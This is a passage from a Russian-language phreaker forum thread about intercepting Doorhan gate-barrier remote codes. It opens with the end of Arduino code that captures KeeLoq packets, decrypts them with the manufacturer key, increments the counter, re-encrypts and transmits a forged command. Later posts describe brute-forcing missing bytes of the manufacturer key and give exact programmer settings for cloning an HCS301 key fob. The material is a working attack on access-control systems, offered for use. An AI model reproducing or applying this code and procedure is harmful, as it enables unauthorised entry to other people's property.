else if (bcounter < 64)
code2 = (code2 << 1) | 0; bcounter++;
}
else
bcounter = 0;
//Поймали 64 бита, значит пишем их в переменные для дальнейшей работы с ними (пол дела сделано!)
if (bcounter >= 65) {
Cache1 = code1;//первый кусок кода (зашифрованный)
Cache2 = code2;//второй кусок кода (открытый)
bcounter = 0;

r=1;//Это означает что поймали ключик и можно с ним работать
code1 = 0;
code2 = 0;
}
}
}

//////////////////функция зеркалирования кода, для дальнейшего декодирования.
long inver(long Cache345)
{
long Cache2RR;
for (int i = 0; i < 32; i++)
{
bitWrite(Cache2RR,i,bitRead(Cache345,31-i));
}
return Cache2RR;
}
//////////////////////////////////////////////////////

//Функция которая посылает в эфир посылки типа DoorHan и им подобные
void SendANMotors(long c1, long c2)
{
noInterrupts(); // временно отключаем перехват пакетов, чтобы не перехватывать собственные отправки
for (int j = 0; j < 4; j++)
{
// отправляем 12 начальных импульсов 0-1
for (int i = 0; i < 12; i++) {
delayMicroseconds(Pe);
digitalWrite(txPin, HIGH);
delayMicroseconds(Pe);
digitalWrite(txPin, LOW);
}
delayMicroseconds(Pe * 10);
// отправляем первую половину
for (int i = 4 * 8; i > 0; i--) {
SendBit(bitRead(c1, i - 1));
}
// вторую половину
for (int i = 4 * 8; i > 0; i--) {
SendBit(bitRead(c2, i - 1));
}
// и еще пару ненужных бит, которые означают батарейку и флаг повтора
SendBit(1);
SendBit(1);
delayMicroseconds(Pe * 39);
}
interrupts();
}
//побитовая передача
void SendBit(byte b) {
if (b == 0) {
digitalWrite(txPin, HIGH); // 0
delayMicroseconds(Pe2);
digitalWrite(txPin, LOW);
delayMicroseconds(Pe);
}
else {
digitalWrite(txPin, HIGH); // 1
delayMicroseconds(Pe);
digitalWrite(txPin, LOW);
delayMicroseconds(Pe2);
}
}


void setup() {
Serial.begin(9600);
pinMode(rxPin, INPUT);
pinMode(txPin, OUTPUT);
pinMode(6, OUTPUT);//(питание приемника +)
digitalWrite(6, HIGH);
attachInterrupt(0, rx_int, CHANGE); //Прерывание 0 это пин D2 на атмеге328
interrupts();
}

void loop()
{
if (r==1)//Если поймали чего выводим в терминал.
{
Serial.print(Cache1, HEX);//вывод ключа в виде как поймали часть 1
Serial.print(":");
Serial.print(Cache2, HEX);//вывод ключа в виде как поймали часть 2
Serial.print(" ");
Serial.print(KeeLoq_Decrypt(inver(Cache1),manufact urer), HEX);//Расшифрованная часть ключа 1
Serial.print(":");
Serial.println(inver(Cache2), HEX);//открытая (незашифрованная) часть ключа часть 2

//ну а это для проверки что все красиво работает прибавим счетчик и зашифруем обратно
Serial.print(inver(KeeLoq_Encrypt(KeeLoq_Decrypt(i nver(Cache1),manufacturer)+1,manufacturer)),HEX);
Serial.print(":");
Serial.println(Cache2, HEX);//вывод ключа в виде как поймали часть 2

SendANMotors(inver(KeeLoq_Encrypt(KeeLoq_Decrypt(i nver(Cache1),manufacturer)+1,manufacturer)), Cache2);//Посылаем в эфир то что поймали, расшифровали, прибавили счетчик, зашифровали.

//SendANMotors(0xffffffff, 0xffffffff);//можно если ключик статичен слать и так
/////////////////////////////////////////////////////////////////////////////////////
r=0;
}
}
Добавлено через 10 минут
И да, писатель я еще тот, но работает хорошо. Перед тем ка выложить проверил.
Мануфактурник в коде должен быть как то так, начало и конец 0x84хххххххххххх23
Просто на форуме он както в обратную сторону был.

legrand 26.04.2020 15:28

Re: Шлагбаум Doorhan. Перехватить код!
 
Цитата:

Сообщение от Art2802 (Сообщение 59902)
остальное домыслил, минут 15 ушло на core i5.

.................................................. .
Мануфактурник в коде должен быть как то так, начало и конец 0x84хххххххххххх23

6 байт из 8 подобрал перебором на i5 за 15 мин?

Art2802 26.04.2020 20:31

Re: Шлагбаум Doorhan. Перехватить код!
 
Цитата:

Сообщение от legrand (Сообщение 59906)
6 байт из 8 подобрал перебором на i5 за 15 мин?

Известно было 4 точно, а однин под вопросом, но оказалось что он был тоже верный, только с какой стороны непонятно. Сперва попробовал 5 известных байта в одном порядке, потом в другом и в итоге все получилось. 15 минут это не точно, я не засекал. Включил ушел, минут через 15 увидел на экране несколько одинаковых расшифрованных посылок отличающихся на 1.

Добавлено через 39 минут
http://phreakerclub.com/forum/showpo...&postcount=104
Начиная отсюда много полезного узнал.

legrand 27.04.2020 13:57

Re: Шлагбаум Doorhan. Перехватить код!
 
Цитата:

Сообщение от Art2802 (Сообщение 59908)
Известно было 4 точно, а однин под вопросом, но оказалось что он был тоже верный, только с какой стороны непонятно. Сперва попробовал 5 известных байта в одном порядке, потом в другом и в итоге все получилось. 15 минут это не точно, я не засекал. Включил ушел, минут через 15 увидел на экране несколько одинаковых расшифрованных посылок отличающихся на 1.

Добавлено через 39 минут
http://phreakerclub.com/forum/showpo...&postcount=104
Начиная отсюда много полезного узнал.

Итого перебор 3х бйтовиз 8 за условно 15 мин на i5? Так?
На одном ядре?

Art2802 27.04.2020 15:15

Re: Шлагбаум Doorhan. Перехватить код!
 
Пост, не про скорость перебора. А про то, что 3,4 байта которых не хватало от мануфактурника можно очень быстро подобрать. И это может сделать кто угодно, если поищет на форуме частицы мануфактурника.
А т.к. DoorHan использует simple learning, то это еще в два раза быстрее чем normal.
Я время не засекал, но примерно через 15 минут результат был готов, а возможно и гораздо быстрее. А сколько ядер Qt использует яхз. Не претендую и на максимальную эффективность моего скрипта для перебора, реализации могут быть разные.

legrand 27.04.2020 19:47

Re: Шлагбаум Doorhan. Перехватить код!
 
Цитата:

Сообщение от Art2802 (Сообщение 59913)
Пост, не про скорость перебора. А про то, что 3,4 байта которых не хватало от мануфактурника можно очень быстро подобрать. И это может сделать кто угодно, если поищет на форуме частицы мануфактурника.
А т.к. DoorHan использует simple learning, то это еще в два раза быстрее чем normal.
Я время не засекал, но примерно через 15 минут результат был готов, а возможно и гораздо быстрее. А сколько ядер Qt использует яхз. Не претендую и на максимальную эффективность моего скрипта для перебора, реализации могут быть разные.

я без претензий, спасибо за исчерпывающий ответ.

wickedwave 30.06.2020 20:50

Re: Шлагбаум Doorhan. Перехватить код!
 
Всем привет! Поделитесь мануфактурником на Дорхан пожалуйста! Все обшарил, не могу найти. То ли запрос неправильно ввожу, то ли реально нигде инфы в инете нет.

wickedwave 25.08.2020 18:10

Re: Шлагбаум Doorhan. Перехватить код!
 
Мануфактурник нашел, вопрос другой. Имею на руках программатор EZP2013. Есть брелок с микросхемой HCS301. Кто знает, помогите правильно заполнить поля:

Manu code: с этим понятно
Keygen type: вроде как simple
Seed: ???
Sereal: насколько знаю, можно поставить произвольный
Baud rate: радиопрёимник начинает видеть нажатие на 400us
Trip point: low или high?
SYNC: 0000 по умолчанию?

wickedwave 04.09.2020 21:18

Re: Шлагбаум Doorhan. Перехватить код!
 
Разобрался со всеми полями, все работает. Если кому интересно, то форма заполняется следующим образом:

Программатор EZP2013

Чип: HCS301
Manu code: мануфактурник
Keygen type: simple
Seed: пустое поле
Sereal: можно начинать с 1
Baud rate: 400us
Trip point: low
SYNC: пустое поле


Текущее время: 02:22. Часовой пояс GMT +3.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot
(C) www.phreakerclub.com